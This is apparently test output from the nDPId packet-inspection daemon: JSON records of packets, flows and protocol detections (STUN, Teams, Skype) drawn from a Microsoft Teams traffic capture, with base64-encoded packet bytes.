+00409{"flow_id":76,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2646,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041694,"pkt_ts_usec":308573,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAG9yfAqAEGNHJNiOyXAbs8mpdqcONQBVAQIADI6wAA"} +02372{"flow_id":76,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2647,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041694,"pkt_ts_usec":308611,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUVp1AAGwGbt40ck2IwKgBBgG77Jdw41AFPJqXalAQCASA6AAAb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSA0MB4XDTIwMDMxNTE1MzUzOVoXDTIxMDMxNTE1MzUzOVowKzEpMCcGA1UEAwwgTWljcm9zb2Z0X0lUX1RMU19DQV80X0tleUJpbmRpbmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDAEyAX+5SqsGiqoUBRMLbUF1MOQcsxK8kPSKDVxGywx62TXqosok\/w8WIw51eitl2x7hGoq0+h3f95iPllxy7yEMgH7qmedNRiuGxRK+fAa5MH9aVtlomaFyqBArysde41\/HXuL4UW4GtwiAkT5ExgE2wHYEV7T5X03YsAWWM3JKQwMjB+rXZkft+Uk5MWL\/cJto5+yML0QwJr2wL9Ak66bKsuEMnGd8UzoAOAp5Rk0DmxRztNTjl\/lZ2ntFXsAyJALx3q0EDreLw0q2SftDOieUHmNsOvbAPjYsWKtDXayhXR0gqkwAbamSUrmFXf6QE7XDQuHTRyG7d\/srUScNlDAgMBAAGjgdYwgdMwHQYDVR0OBBYEFJ\/ldPQSLwcZJHaSD6SOKmapFFoKMA4GA1UdDwEB\/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDCTAPBgkrBgEFBQcwAQUEAgUAMB8GA1UdIwQYMBaAFHp7jMHP56DKHNRr+vvhM8MPGqKdMD4GCSsGAQQBgjcVBwQxMC8GJysGAQQBgjcVCIfahnWD7tkBgsmFG4G1nmGF9OtggV2BzJtHgcjpFgIBZAIBBzAbBgkrBgEEAYI3FQoEDjAMMAoGCCsGAQUFBwMJMA0GCSqGSIb3DQEBCwUAA4ICAQBQf\/nlSogs2KaMuQIKX+dZl6u\/fN4stOkBATIA+8WfgJ+qNyF20yCllnRhbqa4pd5JTrRYGJZhGA7agazmyim9wGvV0HcHxLLN3oNZBP5gF5jLC0IqxgJEvTiyy1\/1wYRdtr+SpcKNi2ZCac3x7voBvsf3YH\/f1jAp2zQ87qKhRy1PmcUkJdsJR2OnkYNgdR6oPKCsPkPve+qZXjBdfEVjq9duYM1IFFq0MYXUlFCy8YhnxEcasx4mCnA6B14O98ewaSZZhGaP6Py\/67LRhuWf36qXptvXI8bFJZEld25A5aR+COHvYWrlWmmfie3I9YEeDGTVodHmHxesLeBLQQmxpuZgnJ1eZYwSS2g4bPN+OSonsgPlHLzmBJcUpzxJl3mgtcjyN+2OgF46A4V1ENucCVGdLYjsbo\/kk6U7V0KiqERMGjIUeUVMt9tfNUf6xYXUsVOKsIfNcAMbDiCO2hf6q+1nKxCJw6p0qsB1ANlzJi00XH17tvsddvABkR26jQRxWpc1ck4l6ErNYoE186dUnlcdlKjaIHU4jQ4CS6fS1HuZFQD6VdPpfAFSv8BxzC46PHD4wMhUHF2gx9Kp9\/ATrborJ6OxeXVS1Ba+IQzGX6MpVsGiH22VzumR7tEvftwy0MX7pfN+X9yHBrJmVvFG4s6d6wUOHM9cT9DziFvLgAwAAWkDABhhBCVbEBe\/greGH8q+Bx9Slo8fHhKPnhHx4wGu6voLGdaXjVYg\/vc3XNqFmQ7O1kupVUMAVYE2YS4sQyUtE4pPdQ3MFnP0ghDVmAeHapntrn8OzRl90RZglKUNeMwZqB9h5gQBAQCtINfMnu1gMqI0WMe0p78Z4jPGCo71cBL5WvRy\/HZ5FIqKrQXTUZ\/JDDDH7\/VV3tZVfY\/GJvHVFZK+Ktw050lHxBJB2bLUwIHvgB6CRl1L8BC1dK3xtImBzoCslIZkLMk7dd9mkuX00vi1QvRDhK+X\/7b7M4ncbCP2oyKpWwamBg3tG56IzDtXuDU9ZYlbz7KlECXni94d"} +00563{"flow_id":76,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2648,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041694,"pkt_ts_usec":308613,"pkt_caplen":163,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":163,"pkt_l4_len":129,"pkt":"KDc3AG3IEBMx8Tl2CABFAACVVp5AAGwGdBw0ck2IwKgBBgG77Jdw41WxPJqXalAYCASinwAA4GKHnx+FKT4GOwbta3OHELM5eFeUfR1P8Mvmn7KM4L9S7DH6PDf+W9UTtqfn7Qy\/8\/fMvKXDbXORw+YgC9S4peUPAB9PsnXolxlLIrZRJY30pIn5X59MLsaRO1m9\/u42G6aFlecI6a48DgAAAA=="} +00410{"flow_id":76,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2649,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041694,"pkt_ts_usec":308645,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAG9yfAqAEGNHJNiOyXAbs8mpdqcONWHlAQH8\/DAwAA"} +01427{"flow_id":64,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2650,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041694,"pkt_ts_usec":326905,"pkt_caplen":795,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":795,"pkt_l4_len":761,"pkt":"KDc3AG3IEBMx8Tl2CABFAAMNNJkAAGwR0540ck2IwKgBBg2WyeEC+aecB1UVQ0I8M6FxU9jkNGUVrfYsu7yDLmG89ZSTvlNF5TpUlzTQ8G\/WoZAcduFrX9xwwsgTlyWR\/ZJXdWBPXcQKDMBDl8GHaw3lWitB0YSSDN\/6aj6wVTGssPy0SacuJz4PM485lC\/WpQEUg\/dwTCBKSb4sZpaN+b4fa4H63Sras9CRRkNNZX8Oo9eyIyZ3gqUv9gPVTI150j7g3RDPNpeJNlf85JSIyyePgyMPvxSZBMqkSilqp1nYF18Exoly8w9aSdwAwZImrCEE1FiGLxTlBeZR5SojZLildRr+USDoQk4aPiyQCz8uW6vXBZDAVScTmaYW4KeHzCPn1Zi5Z1D5ohg239NFCPP7p0w20EvQqZtbtw6YdY8FFZJ4Xjka3LlyJ0LqUH+CyBqrbB\/jfF+y+fX1zfSErh\/AtY\/SHoHzRUK3ptds98ieAen3ZuR2zX9OCRPVjiecyOb1JF5sRoUw\/Fg0RSBKhZH1fRsz5fI9R3e8DC\/QYF6HGWV1kuMhPh7vnQS3GA9w061KitjkHMdmB1O7EFgska2ph1S4NYSpXr9TmiS\/5YRKt09eo9iN2SjkJTb96gJStpSbNR\/tbZZRrH8bZODZsf7i3\/4S2mlJX9KHA8CaNu\/8hdp8pfDPEZ3ygGD\/G\/LmYqao4O\/cprao85GqyLmFi0fJKyD\/QOixF8jqWlPrfO+6l0217b9TQn22e3jScw4kcpjFpnMc9Exibi4Ka7ZxpjLsaCg3th\/eTjUhyYLe5f2OMo3hezY+\/hd+3gqV+axaOZ9DVnh0Oa\/IxOpvqVU4sDicawTrJAVg7xBYRMKpTnNFnt\/RJh5KkJRZLTMxPCIRwose2fhDQ\/0qv94wuRRujWSPz4LfVns\/mjvv9LOwg+aCsDOQj4NqAxYVlzysfVVXB6MT9pCHm8HRXlYWtA3+jSTKtcCBfysZ1ekXEmi0tG\/WUYPmN39o\/dbKs8XmGYfABSUkKMhZErAWH4pRMuDbO8vknAtW\/8ZIAEH0"} +00561{"flow_id":76,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2651,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041694,"pkt_ts_usec":346651,"pkt_caplen":161,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":161,"pkt_l4_len":127,"pkt":"EBMx8Tl2KDc3AG3ICABFAACTAABAAEAG9rzAqAEGNHJNiOyXAbs8mpdqcONWHlAYIACaAAAAFgMDAGYQAABiYQQGSN+eS\/KFb8Ri+9QZUqm\/p+HJuiNYhjvW7ADwia6h\/rnvemPZfb2xkuVwO2i1nU8wXvu\/nQ+esfQAHxFC+8JpOowtnq+be6g\/jkMwCDoJVU1CwSWklPP5ZN6DxUWuPvI="} +00417{"flow_id":76,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2652,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041694,"pkt_ts_usec":431149,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"KDc3AG3IEBMx8Tl2CABFAAAoVp9AAGwGdIg0ck2IwKgBBgG77Jdw41YePJqX1VAQCATaYwAAAAAAAAAA"} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2658,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041694,"pkt_ts_usec":611281,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00155{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2658,"source":"teams.pcap","alias":"nDPId-test","type":38} +00963{"flow_id":64,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2659,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":96661,"pkt_caplen":459,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":459,"pkt_l4_len":425,"pkt":"KDc3AG3IEBMx8Tl2CABFAAG9NJoAAGwR1O00ck2IwKgBBg2WyeEBqR78BzFRC256ljiqGAOx7NuC0kMOISiV3n6Cx+OVY3CV14TLJWVP6sirMGK8dPJHKR+K+LulCFKJT3LCilqMdLkQQ+\/1Q0BNGLB4+UEh8DCu7cFDlpmLEL+p8+eVXA6bpMeDE+W4cFhOysPpu91TUTxZi\/SuaHB3foegEX4Nwu5HYl9vxmkfFgN8elnpYDwLX3Nhc\/1rYHbhcjJKP8OmypeFdWdeEojlTbF+idsDENwTYVc9oIqOAY9o2187d\/+gitOuPcY2u24liZKUCWhC6b4TaDA8N5aW2kPLg4cZQ5TgvwUJzFfAzJaxnjTrqL6fo337kbBSZARHmCbWw6d9dKzUJk+\/4WdiACJUTI3acWG7qcvT\/JapM2u3drPOaz2qrx4SYsAj2G+k\/e0\/eIrAkLfPaq6UFfI3g3Wf\/iGxHi9ZDhRV9HyF97akUFZ8oL1udGFlSo1L\/TLzy3JJdW3txiJCoctEiP2XectUF1XkqQ71cMA5Y872zuCRepP\/YFDkK8ohFtS4svEtTuKMBY6j4c81dG2gYLhr7ghcnqnOkc\/3KXc4"} +00444{"flow_id":64,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2660,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":97624,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"EBMx8Tl2KDc3AG3ICABFAABBKVQAAEARDbDAqAEGNHJNiMnhDZYALb7kAzM3NDM4ZWNlLWQ1NmMtNDFjNy1hMTZjLTQ3M2QyM2ZjNWU3YQ=="} +00617{"flow_id":64,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2661,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":97646,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"EBMx8Tl2KDc3AG3ICABFAAC96aQAAEARTOPAqAEGNHJNiMnhDZYAqZXIBl3+t6o2WT+OKw\/oTFMopouEH4gbE0oRDnfWSnKbiyKA1UFShjfP9XQMr3SuktBSg1fr9\/Cv\/\/M0m+iLV\/dO3k6aT89fa6A5A3fRXT6CWOsUW+zzpL9t2NYyp4ILTyhEca0jB07mOJmmtnQSS9730zSyT7ohVjIYmPNHU1Xc22zVUEHiNv5tw+qb5rATPwWbZIu65v4RMfw\/EGgkViIlMBU="} +01834{"flow_id":64,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2662,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":266056,"pkt_caplen":1099,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1099,"pkt_l4_len":1065,"pkt":"KDc3AG3IEBMx8Tl2CABFAAQ9NJsAAGwR0mw0ck2IwKgBBg2WyeEEKflMB9ibKDPiSDb+odHTLUFZkznbbNX+J75f4EKLo2v0jCX9AvnGgnVouaqfXtzVQexQAc1YLo9VPn1LnUy8C7YtiqmZA3\/Ycz29Q47Bpz7+p7QpPt6afnEOkBNbHEYWCCM+cq9EqFlbk9xc5YxsB8NIXcrytxDWz107+fOlbAP13E3AQrUoBlqIIil7ONM2N7g\/p\/vOe7i+nBW6l5WsxqWBzGz5Z5SICVeaiJoijcw2GNy5+jpe+kX08oNLuVfb\/NcVKqJ7Die4rlf9+C0PChMRQfilNjUjoWrkB9otn9V6wwExztequjn7uHyTieBqABT4hA3ockTP4mHSvE6G8V1bBtnrjKgYUZcKyYHBZc2DUmMKgTtwVTI2lk2Ea4gNMhCkUI7CNsEhyXwHoIhlVmQ7onfB6Jc+F0jJSdcmF1yTybA\/5lqI+deTAFxg2\/aAnHDrqjSP5cORcUVkW46ncl8M7JV\/nscb7XMxRyI5n6mWYtVbf3Iv0sH\/o91BzYkFqHjiUvwg7REoM83Gmj0VgUKSoRgtaN6\/cmfPC0E3oNeNP8ahVyhxTk7Ca1HKX1Yu6RBSNA1aX5zVIz838T7cv8L6hG+iUFfvjecGsexC4eODgN3nDBC91YpnOOWUos+a4eFAQrc4NrPsKniLHhpePKN6WiIkebuyLDcfO9FHlcZFCJ5gTOXtRUyqf1p4fAbrNUhPFcauPNjp\/B85U054L82CiNU\/jFCTJ3qAPXoONXavaAeymRDmy8BAcJ4d7r4d06TQNZzAXQm2MBDzFf7+x3tbuHDGcjO7RoRMhJgKaAdXFjXWtVnAfkIzgslTHMFtjC1R9tDE4kIOpSZEOWpvFdvU0uVqpRJH8ubukf84dzqEyIDsjGztiC+J0gZX5b0oZVrQdmwydICESBjOc9j1c\/oF+inRp\/lgoaRIfqSs+TaCQv\/XuP5OyyrUr9NRFJbSrec0dnvPYIFeN69MqRRxwdMf6pNO+W0eiTsAmVR3\/mRnbyfLfzYSH4LU\/McDNvqvrWe+3gopqgFDOthv\/drY026C7XUxgMnxISnEt5j6+J1hnjP45lGL\/PpwjCQfzk\/2QrUr8qNxxBiFFT7ei6ujcr9Z4Udrk4490KsI66pR6Au6hZHyLGUcAwME9WkeaItuTSDZSY1hy5SJdkooAg34C0Uf4ikN8uhL4eHQY4pTyaUjOulk7o1b9\/XiUpUyggJ4jF+ZtuPdSg98uOUKlaLEDJhEfxy5hCwAjhXB2GTYcleyj8HZClU0UU1+3sZMQQ0x9vuwGJ1w1xw9yJfsGlVpVNL139cr0Zf+un4U8owBnI2QVbk9FV6koX\/eF+3WBbOIl6azfwspFauN09SX1VriWH6aV2RSN3QYNWsI\/EMJmca6gEVuzDU\/NDsSiPyuKcUkBhWe8w=="} +00446{"flow_id":64,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2663,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":267528,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"EBMx8Tl2KDc3AG3ICABFAABBBqUAAEARMF\/AqAEGNHJNiMnhDZYALR2vA2RlNzNhMDFmLTQ3NmQtNDQ3NC1hNzliLTMxM2VmOGRmNjI0ZQ=="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2665,"source":"teams.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1587041695278,"flow_last_seen":0,"flow_tot_l4_data_len":120,"flow_min_l4_data_len":120,"flow_max_l4_data_len":120,"flow_avg_l4_data_len":120,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.0.4","src_port":50016,"dst_port":50005,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00550{"flow_id":78,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2665,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":278787,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"pkt":"EBMx8Tl2KDc3AG3ICABFAACMhisAAEARcdvAqAEGwKgABMNgw1UAeNtRAAEAXCESpELGQpqANK6irJWNCoEABgAJbzUvSTpGWTMyAAAAgCoACAAAf4pShlgAgHAABAAAAAeANgAEAAAAAQAkAARu\/\/7\/gDcABAAAAAIACAAUNaR7w6XgHLmtRZxpBWKVkGuwhq2AKAAE+3W4lQ=="} +00563{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2665,"source":"teams.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1587041695278,"flow_last_seen":0,"flow_tot_l4_data_len":120,"flow_min_l4_data_len":120,"flow_max_l4_data_len":120,"flow_avg_l4_data_len":120,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.0.4","src_port":50016,"dst_port":50005,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"STUN.Teams","breed":"Safe","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2666,"source":"teams.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":1587041695278,"flow_last_seen":0,"flow_tot_l4_data_len":120,"flow_min_l4_data_len":120,"flow_max_l4_data_len":120,"flow_avg_l4_data_len":120,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.0.4","src_port":50036,"dst_port":50020,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00551{"flow_id":79,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2666,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":278905,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"pkt":"EBMx8Tl2KDc3AG3ICABFAACMZ7QAAEARkFLAqAEGwKgABMN0w2QAeBWjAAEAXCESpEJMnOcpR8XuRjfgdwcABgAJSkZ3ajorbUl2AAAAgCoACAAAf4pShlgAgHAABAAAAAeANgAEAAAAAQAkAARu\/\/7\/gDcABAAAAAIACAAUZBvpMZrPL2uguq2xDA1A6CBjF+2AKAAEncV\/3g=="} +00563{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2666,"source":"teams.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":1587041695278,"flow_last_seen":0,"flow_tot_l4_data_len":120,"flow_min_l4_data_len":120,"flow_max_l4_data_len":120,"flow_avg_l4_data_len":120,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.0.4","src_port":50036,"dst_port":50020,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"STUN.Teams","breed":"Safe","category":"VoIP"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2667,"source":"teams.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":1587041695305,"flow_last_seen":0,"flow_tot_l4_data_len":120,"flow_min_l4_data_len":120,"flow_max_l4_data_len":120,"flow_avg_l4_data_len":120,"midstream":0,"l3_proto":"ip4","src_ip":"93.71.110.205","dst_ip":"192.168.1.6","src_port":16332,"dst_port":50016,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00551{"flow_id":80,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2667,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":305290,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"pkt":"KDc3AG3IEBMx8Tl2CABFAACMbOkAADURirVdR27NwKgBBj\/Mw2AAeJv\/AAEAXCESpEJpQfrkOEmJN4IqUAgABgAJRlkzMjpvNS9JAAAAgCkACAAAf+1eBY4AgHAABAAAAAeANgAEAAAAAQAkAARu\/\/3+gDcABAAAAAIACAAUCA60OBRrDjRc1P+cP0BpsLC+QjmAKAAEPxxxZQ=="} +00575{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2667,"source":"teams.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":1587041695305,"flow_last_seen":0,"flow_tot_l4_data_len":120,"flow_min_l4_data_len":120,"flow_max_l4_data_len":120,"flow_avg_l4_data_len":120,"midstream":0,"l3_proto":"ip4","src_ip":"93.71.110.205","dst_ip":"192.168.1.6","src_port":16332,"dst_port":50016,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"STUN.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2668,"source":"teams.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":1587041695305,"flow_last_seen":0,"flow_tot_l4_data_len":120,"flow_min_l4_data_len":120,"flow_max_l4_data_len":120,"flow_avg_l4_data_len":120,"midstream":0,"l3_proto":"ip4","src_ip":"93.71.110.205","dst_ip":"192.168.1.6","src_port":16333,"dst_port":50036,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00551{"flow_id":81,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2668,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":305879,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"pkt":"KDc3AG3IEBMx8Tl2CABFAACM2aMAADURHftdR27NwKgBBj\/Nw3QAeFT\/AAEAXCESpEKjF0z2+O91Jw0PY1cABgAJK21JdjpKRndqAAAAgCkACAAAf+1eBY4AgHAABAAAAAeANgAEAAAAAQAkAARu\/\/3+gDcABAAAAAIACAAUo4jart22gVLrHF0JHGaI64vA9HeAKAAEUHwvEg=="} +00575{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2668,"source":"teams.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":1587041695305,"flow_last_seen":0,"flow_tot_l4_data_len":120,"flow_min_l4_data_len":120,"flow_max_l4_data_len":120,"flow_avg_l4_data_len":120,"midstream":0,"l3_proto":"ip4","src_ip":"93.71.110.205","dst_ip":"192.168.1.6","src_port":16333,"dst_port":50036,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"STUN.SkypeCall","breed":"Acceptable","category":"VoIP"}} +01662{"flow_id":63,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2669,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":309999,"pkt_caplen":975,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":975,"pkt_l4_len":941,"pkt":"EBMx8Tl2KDc3AG3ICABFAAPBAABAAEAG9oDAqAEGp2PXpOyWEVIVrYR7NJWK64AYEACfCgAAAQEICjCE3\/cTeUK5FwMDA4gePBs\/C2EWBhPnt9rTOeXlSRdCMdWlZ2hh1ujeyOz+vtQgRyqCjB7KcrqhhBcxiY09Yi+fzRdUCWlCMJFUYL5wD58NG6SGlo0m3MhaTL91MJQpfXPSARG\/okUk3oikkWt2Y9HD7HWNcYWFF0yvbFjLzDgm5QxcwuP3SstmF+R9Q87mOgyoEIHcDEqqNgi6j3pUupR9xSOWXujI\/V+\/BlZwv+zlPIs4KeSyM6oQ3qSZLgQiKW0gIsjlC5tRTmglZXFCqVTYU7oid1B4d5\/QkMDGDfXVCom\/BfWLGl3fbPSsbpp49\/NF2u8dWirTFY74SFjQS\/S3kzcGU\/EURpKpFaL431RKZO+KTpeiknpknGjGhBqsrcG4UOorL4fICHt66HlO0wlyO\/vUlCotPVii5tIdtVQgenz8KMwH2eVEV8C43IdapCIHC9+dc1+ey0Vz5WVQ+3GcEYSOZupnBqfrs4fecnDXp6mseSbm6JfxpHVS5morMgrwggHinCmCYoICGC9jqCWuW910945bwzfBoidpMmIacF5WtPa41f3kMjr5YXpF3rcJxYphmKNQeL3pUK0fCdiaZpaSr5FXuhwxFxXRVxQydXgrg5XmpNfVgHwgjFcwfEHgPD3zmR2JN0JdFYiuhlBpc3qSK8uRgWqnshsw6vxTKE3ZVA4tDuoS\/Hc8CY5vVN9QF1cOUcCIqBRAFJbe074Emz1iwrUi9Gfh4CX8kowsqRlDLnSk2nZES+96m\/tjoELojBJTfZhS2lXlq\/B7uDRBXaPBDHITtXVzChOFETwLwNxn9QfNV\/pxPiA5l6XeaebaDQcoLNGKVOfGe2AwHZHtb\/CYi2KRPrdcUjBOEX1kTcpS8P2a6eDnlp\/TrfacOzcAGFN5jHF1c3+g12vlHy8Xd+pNKjm+Q9b7nUwRqFM31CC4ycvN230wK7pDN280O01BngHaKLuB7lKV7r45KfubnyWwOef2C\/zXz4dgkFQuivCiWJOp0xpKvobvUbfCmGGrb97acBiKLo5IEfn0S5+7i9oNt0XV2Pt9yu7iLVzZI26qTDOQ8HM6NBeNXRl5NWQHESYXo23gzSvuwl0sBlZMsvMjSezPfTTq3TDzB8k0OTld7SjweAtyrY4v4AyqPPu4oCABh95kVfnqrl\/GPUJMQqFKTpOo3eG7KkBBEe4LPXMLyu7nJ\/wA3\/VWsVyGsDoSb\/Gu"} +00515{"flow_id":80,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2670,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":330085,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"EBMx8Tl2KDc3AG3ICABFAAB0TLUAAEARoAHAqAEGXUduzcNgP8wAYAttAQEARCESpEJpQfrkOEmJN4IqUAiAcAAEAAAABwAgAAgAAR7efFXKj4A3AAQAAAACgDYABAAAAAEACAAUlU+ROI4McMZBUuZSU8\/gWyGrdx6AKAAE+OcqVw=="} +00551{"flow_id":80,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2671,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":330306,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"pkt":"EBMx8Tl2KDc3AG3ICABFAACMkXkAAEARWyXAqAEGXUduzcNgP8wAeAk2AAEAXCESpEL9LF5WbGc54yQwO\/cABgAJbzUvSTpGWTMyAAAAgCoACAAAf4pShlgAgHAABAAAAAeANgAEAAAAAQAkAARu\/\/7\/gDcABAAAAAIACAAU1YbVJoGA61aUBne1Qcfqud7BOGOAKAAEmnK+Jw=="} 